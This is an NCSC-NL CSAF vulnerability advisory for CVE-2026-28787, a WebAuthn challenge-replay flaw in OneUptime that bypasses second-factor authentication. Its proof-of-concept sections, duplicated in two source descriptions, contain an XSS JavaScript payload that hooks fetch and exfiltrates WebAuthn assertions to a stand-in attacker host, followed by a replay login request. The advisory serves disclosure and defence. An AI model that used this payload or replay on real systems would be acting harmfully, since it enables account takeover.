{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-28787", "tracking": { "current_release_date": "2026-04-01T18:48:13.399106Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-28787", "initial_release_date": "2026-03-04T02:39:44.782382Z", "revision_history": [ { "date": "2026-03-04T02:39:44.782382Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-04T02:39:47.685632Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-04T18:21:21.684611Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)." }, { "date": "2026-03-04T18:21:27.632773Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-06T05:25:38.622214Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)." }, { "date": "2026-03-06T05:39:00.515480Z", "number": "6", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)." }, { "date": "2026-03-06T05:39:04.624870Z", "number": "7", "summary": "NCSC Score updated." }, { "date": "2026-03-06T14:52:34.400724Z", "number": "8", "summary": "Source created.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-06T16:00:50.431667Z", "number": "9", "summary": "References created (1)." }, { "date": "2026-03-06T18:20:51.843532Z", "number": "10", "summary": "References created (1)." }, { "date": "2026-03-09T20:39:06.948632Z", "number": "11", "summary": "Unknown change." }, { "date": "2026-03-09T20:39:19.334558Z", "number": "12", "summary": "NCSC Score updated." }, { "date": "2026-03-10T21:25:43.680943Z", "number": "13", "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-03-10T21:25:47.050669Z", "number": "14", "summary": "NCSC Score updated." }, { "date": "2026-03-20T09:36:06.210279Z", "number": "15", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-04-01T18:47:57.729660Z", "number": "16", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (4).| CWES updated (1)." }, { "date": "2026-04-01T18:47:59.544034Z", "number": "17", "summary": "NCSC Score updated." } ], "status": "interim", "version": "17" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/>=0|<=10.0.11", "product": { "name": "vers:unknown/>=0|<=10.0.11", "product_id": "CSAFPID-5759008" } } ], "category": "product_name", "name": "@oneuptime/common" }, { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<=10.0.11", "product": { "name": "vers:unknown/<=10.0.11", "product_id": "CSAFPID-5982416" } } ], "category": "product_name", "name": "npm/@oneuptime/common" }, { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<=10.0.11", "product": { "name": "vers:unknown/<=10.0.11", "product_id": "CSAFPID-5765418" } } ], "category": "product_name", "name": "oneuptime" } ], "category": "vendor", "name": "OneUptime" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<=10.0.11", "product": { "name": "vers:unknown/<=10.0.11", "product_id": "CSAFPID-5778676", "product_identification_helper": { "cpe": "cpe:2.3:a:hackerbay:oneuptime:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "oneuptime" } ], "category": "vendor", "name": "hackerbay" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-28787", "cwe": { "id": "CWE-294", "name": "Authentication Bypass by Capture-replay" }, "notes": [ { "category": "description", "text": "### Summary\n\nThe WebAuthn authentication implementation does not store the challenge on the server side. Instead, the challenge is returned to the client and accepted back from the client request body during verification. This violates the WebAuthn specification ([W3C Web Authentication Level 2, §13.4.3](https://www.w3.org/TR/webauthn-2/#sctn-cryptographic-challenges)) and allows an attacker who has obtained a valid WebAuthn assertion (e.g., via XSS, MitM, or log exposure) to replay it indefinitely, completely bypassing the second-factor authentication.\n\n### Details\n\nDuring WebAuthn authentication, the server generates a random challenge via `generateAuthenticationOptions()` in `Common/Server/Services/UserWebAuthnService.ts` (line 164-221). However, the challenge is **only returned to the client** and **never stored in a session or database** on the server side.\n\nWhen the client submits the authentication response, the server reads the `expectedChallenge` directly from the untrusted request body (`Authentication.ts:1042`):\n\n```typescript\n// App/FeatureSet/Identity/API/Authentication.ts:1041-1049\n} else if (verifyWebAuthn) {\n const expectedChallenge: string = data[\"challenge\"] as string; // ← client-controlled\n const credential: any = data[\"credential\"];\n\n await UserWebAuthnService.verifyAuthentication({\n userId: alreadySavedUser.id!.toString(),\n challenge: expectedChallenge, // ← NOT a server-stored value\n credential: credential,\n });\n}\n```\n\nThe `verifyAuthentication()` method then passes this client-provided challenge to `@simplewebauthn/server`'s `verifyAuthenticationResponse()` as `expectedChallenge` (`UserWebAuthnService.ts:268-270`):\n\n```typescript\nconst verification: any = await verifyAuthenticationResponse({\n response: data.credential,\n expectedChallenge: data.challenge, // ← client-controlled value used as \"expected\"\n expectedOrigin: expectedOrigin,\n expectedRPID: Host.toString(),\n credential: { /* public key from DB */ },\n});\n```\n\nSince both the `expectedChallenge` (from request body) and the challenge embedded in the credential's `clientDataJSON` originate from the same captured assertion, they will always match. The cryptographic signature also remains valid because it was signed by the legitimate user's authenticator.\n\n**Correct flow vs. OneUptime's flow:**\n\n| Step | Correct WebAuthn | OneUptime |\n|------|-----------------|-----------|\n| 1. Generate challenge | Server generates random challenge | Same |\n| 2. Store challenge | **Saved in session/DB** | **Not saved anywhere** |\n| 3. Send to client | Sent to client | Same |\n| 4. Authenticator signs | Authenticator signs challenge | Same |\n| 5. Client returns | Returns signed credential | Returns credential **+ challenge** |\n| 6. Verify | Compares against **server-stored** value | Compares against **client-provided** value |\n| Result | Replay-proof | **Replayable** |\n\n### PoC\n\n**Prerequisites:**\n- An attacker has obtained the victim's password (e.g., credential stuffing, phishing)\n- An attacker has captured a valid WebAuthn assertion from the victim (e.g., via XSS on a OneUptime page, network interception, or log leakage)\n\n**Steps to reproduce:**\n\n1. **Capture a valid WebAuthn assertion.**\n Intercept or extract a legitimate authentication request containing `challenge` and `credential` fields. For example, by injecting JavaScript via stored XSS in a Mermaid diagram on a status page (related vulnerability):\n\n ```javascript\n // XSS payload to intercept WebAuthn authentication\n const origFetch = window.fetch;\n window.fetch = async function(url, opts) {\n if (url.includes('/verify') && opts?.body) {\n const body = JSON.parse(opts.body);\n if (body.data?.credential) {\n // Exfiltrate the assertion\n navigator.sendBeacon('https://attacker.example/collect', JSON.stringify({\n challenge: body.data.challenge,\n credential: body.data.credential\n }));\n }\n }\n return origFetch.apply(this, arguments);\n };\n ```\n\n2. **Replay the captured assertion at any later time.**\n Send the following request with the victim's email, password, and the captured challenge + credential:\n\n ```http\n POST /api/identity/authentication/login HTTP/1.1\n Content-Type: application/json\n\n {\n \"data\": {\n \"email\": \"victim@example.com\",\n \"password\": \"\",\n \"challenge\": \"\",\n \"credential\": {\n \"id\": \"\",\n \"rawId\": \"\",\n \"response\": {\n \"authenticatorData\": \"\",\n \"clientDataJSON\": \"\",\n \"signature\": \"\"\n },\n \"type\": \"public-key\",\n \"clientExtensionResults\": {},\n \"authenticatorAttachment\": \"platform\"\n }\n }\n }\n ```\n\n3. **Result:** The server accepts the authentication. The `expectedChallenge` (from the request body) matches the challenge in `clientDataJSON` (from the same captured assertion), and the signature is valid (signed by the real user's key). A session token is returned, granting full access to the victim's account.\n\n The attacker bypasses WebAuthn 2FA without possessing the victim's authenticator device.\n\n### Impact\n\n**WebAuthn 2FA is rendered ineffective.** The entire purpose of WebAuthn as a second factor is to protect accounts when passwords are compromised. This vulnerability means that once an attacker has both the password and a single captured assertion, they can authenticate as the victim indefinitely — the assertion never expires because there is no server-side challenge state to invalidate.\n\n**Who is impacted:** Any OneUptime user who has enrolled WebAuthn/Passkey as their second factor. The 2FA protection they rely on provides no meaningful security against an attacker who has obtained their password and intercepted one authentication exchange.\n\n**Attack chain potential:** This vulnerability can be chained with:\n- Stored XSS (e.g., via Mermaid rendering in status pages) to capture assertions\n- Absence of rate limiting on authentication endpoints to obtain passwords via credential stuffing\n- User enumeration via differential error messages to identify valid targets", "title": "github - https://github.com/advisories/GHSA-gjjc-pcwp-c74m" }, { "category": "description", "text": "### Summary\n\nThe WebAuthn authentication implementation does not store the challenge on the server side. Instead, the challenge is returned to the client and accepted back from the client request body during verification. This violates the WebAuthn specification ([W3C Web Authentication Level 2, §13.4.3](https://www.w3.org/TR/webauthn-2/#sctn-cryptographic-challenges)) and allows an attacker who has obtained a valid WebAuthn assertion (e.g., via XSS, MitM, or log exposure) to replay it indefinitely, completely bypassing the second-factor authentication.\n\n### Details\n\nDuring WebAuthn authentication, the server generates a random challenge via `generateAuthenticationOptions()` in `Common/Server/Services/UserWebAuthnService.ts` (line 164-221). However, the challenge is **only returned to the client** and **never stored in a session or database** on the server side.\n\nWhen the client submits the authentication response, the server reads the `expectedChallenge` directly from the untrusted request body (`Authentication.ts:1042`):\n\n```typescript\n// App/FeatureSet/Identity/API/Authentication.ts:1041-1049\n} else if (verifyWebAuthn) {\n const expectedChallenge: string = data[\"challenge\"] as string; // ← client-controlled\n const credential: any = data[\"credential\"];\n\n await UserWebAuthnService.verifyAuthentication({\n userId: alreadySavedUser.id!.toString(),\n challenge: expectedChallenge, // ← NOT a server-stored value\n credential: credential,\n });\n}\n```\n\nThe `verifyAuthentication()` method then passes this client-provided challenge to `@simplewebauthn/server`'s `verifyAuthenticationResponse()` as `expectedChallenge` (`UserWebAuthnService.ts:268-270`):\n\n```typescript\nconst verification: any = await verifyAuthenticationResponse({\n response: data.credential,\n expectedChallenge: data.challenge, // ← client-controlled value used as \"expected\"\n expectedOrigin: expectedOrigin,\n expectedRPID: Host.toString(),\n credential: { /* public key from DB */ },\n});\n```\n\nSince both the `expectedChallenge` (from request body) and the challenge embedded in the credential's `clientDataJSON` originate from the same captured assertion, they will always match. The cryptographic signature also remains valid because it was signed by the legitimate user's authenticator.\n\n**Correct flow vs. OneUptime's flow:**\n\n| Step | Correct WebAuthn | OneUptime |\n|------|-----------------|-----------|\n| 1. Generate challenge | Server generates random challenge | Same |\n| 2. Store challenge | **Saved in session/DB** | **Not saved anywhere** |\n| 3. Send to client | Sent to client | Same |\n| 4. Authenticator signs | Authenticator signs challenge | Same |\n| 5. Client returns | Returns signed credential | Returns credential **+ challenge** |\n| 6. Verify | Compares against **server-stored** value | Compares against **client-provided** value |\n| Result | Replay-proof | **Replayable** |\n\n### PoC\n\n**Prerequisites:**\n- An attacker has obtained the victim's password (e.g., credential stuffing, phishing)\n- An attacker has captured a valid WebAuthn assertion from the victim (e.g., via XSS on a OneUptime page, network interception, or log leakage)\n\n**Steps to reproduce:**\n\n1. **Capture a valid WebAuthn assertion.**\n Intercept or extract a legitimate authentication request containing `challenge` and `credential` fields. For example, by injecting JavaScript via stored XSS in a Mermaid diagram on a status page (related vulnerability):\n\n ```javascript\n // XSS payload to intercept WebAuthn authentication\n const origFetch = window.fetch;\n window.fetch = async function(url, opts) {\n if (url.includes('/verify') && opts?.body) {\n const body = JSON.parse(opts.body);\n if (body.data?.credential) {\n // Exfiltrate the assertion\n navigator.sendBeacon('https://attacker.example/collect', JSON.stringify({\n challenge: body.data.challenge,\n credential: body.data.credential\n }));\n }\n }\n return origFetch.apply(this, arguments);\n };\n ```\n\n2. **Replay the captured assertion at any later time.**\n Send the following request with the victim's email, password, and the captured challenge + credential:\n\n ```http\n POST /api/identity/authentication/login HTTP/1.1\n Content-Type: application/json\n\n {\n \"data\": {\n \"email\": \"victim@example.com\",\n \"password\": \"\",\n \"challenge\": \"\",\n \"credential\": {\n \"id\": \"\",\n \"rawId\": \"\",\n \"response\": {\n \"authenticatorData\": \"\",\n \"clientDataJSON\": \"\",\n \"signature\": \"\"\n },\n \"type\": \"public-key\",\n \"clientExtensionResults\": {},\n \"authenticatorAttachment\": \"platform\"\n }\n }\n }\n ```\n\n3. **Result:** The server accepts the authentication. The `expectedChallenge` (from the request body) matches the challenge in `clientDataJSON` (from the same captured assertion), and the signature is valid (signed by the real user's key). A session token is returned, granting full access to the victim's account.\n\n The attacker bypasses WebAuthn 2FA without possessing the victim's authenticator device.\n\n### Impact\n\n**WebAuthn 2FA is rendered ineffective.** The entire purpose of WebAuthn as a second factor is to protect accounts when passwords are compromised. This vulnerability means that once an attacker has both the password and a single captured assertion, they can authenticate as the victim indefinitely — the assertion never expires because there is no server-side challenge state to invalidate.\n\n**Who is impacted:** Any OneUptime user who has enrolled WebAuthn/Passkey as their second factor. The 2FA protection they rely on provides no meaningful security against an attacker who has obtained their password and intercepted one authentication exchange.\n\n**Attack chain potential:** This vulnerability can be chained with:\n- Stored XSS (e.g., via Mermaid rendering in status pages) to capture assertions\n- Absence of rate limiting on authentication endpoints to obtain passwords via credential stuffing\n- User enumeration via differential error messages to identify valid targets", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-gjjc-pcwp-c74m.json?alt=media" }, { "category": "description", "text": "OneUptime is a solution for monitoring and managing online services. In version 10.0.11 and prior, the WebAuthn authentication implementation does not store the challenge on the server side. Instead, the challenge is returned to the client and accepted back from the client request body during verification. This violates the WebAuthn specification (W3C Web Authentication Level 2, §13.4.3) and allows an attacker who has obtained a valid WebAuthn assertion (e.g., via XSS, MitM, or log exposure) to replay it indefinitely, completely bypassing the second-factor authentication. No known patches are available.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-28787" }, { "category": "description", "text": "OneUptime is a solution for monitoring and managing online services. In version 10.0.11 and prior, the WebAuthn authentication implementation does not store the challenge on the server side. Instead, the challenge is returned to the client and accepted back from the client request body during verification. This violates the WebAuthn specification (W3C Web Authentication Level 2, §13.4.3) and allows an attacker who has obtained a valid WebAuthn assertion (e.g., via XSS, MitM, or log exposure) to replay it indefinitely, completely bypassing the second-factor authentication. No known patches are available.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-28787" }, { "category": "description", "text": "The WebAuthn authentication implementation does not store the challenge on the server side. Instead, the challenge is returned to the client and accepted back from the client request body during verification. This violates the WebAuthn specification ([W3C Web Authentication Level 2, §13.4.3](https://www.w3.org/TR/webauthn-2/#sctn-cryptographic-challenges)) and allows an attacker who has obtained a valid WebAuthn assertion (e.g., via XSS, MitM, or log exposure) to replay it indefinitely, completely bypassing the second-factor authentication.", "title": "gitlab - https://gitlab.com/api/v4/projects/25847700/repository/files/npm%2F@oneuptime%2Fcommon%2FCVE-2026-28787.yml/raw" }, { "category": "other", "text": "0.00049", "title": "EPSS" }, { "category": "other", "text": "3.8", "title": "NCSC Score" }, { "category": "other", "text": "Is related to (a version of) an uncommon product, There is exploit data available from source Nvd, Exploit code publicly available", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5759008", "CSAFPID-5765418", "CSAFPID-5778676", "CSAFPID-5982416" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-gjjc-pcwp-c74m" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-gjjc-pcwp-c74m" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-gjjc-pcwp-c74m.json?alt=media" }, { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28787" }, { "category": "external", "summary": "Source raw - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-28787" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-28787" }, { "category": "external", "summary": "Source raw - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/28xxx/CVE-2026-28787.json" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28787" }, { "category": "external", "summary": "Source raw - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - gitlab", "url": "https://gitlab.com/api/v4/projects/25847700/repository/files/npm%2F@oneuptime%2Fcommon%2FCVE-2026-28787.yml/raw" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv", "url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-gjjc-pcwp-c74m" }, { "category": "external", "summary": "Reference - github; gitlab", "url": "https://github.com/advisories/GHSA-gjjc-pcwp-c74m" }, { "category": "external", "summary": "Reference - github; gitlab; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28787" }, { "category": "external", "summary": "Reference - gitlab", "url": "https://github.com/OneUptime/oneuptime" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.2, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-5759008", "CSAFPID-5765418", "CSAFPID-5778676", "CSAFPID-5982416" ] } ], "title": "CVE-2026-28787" } ] }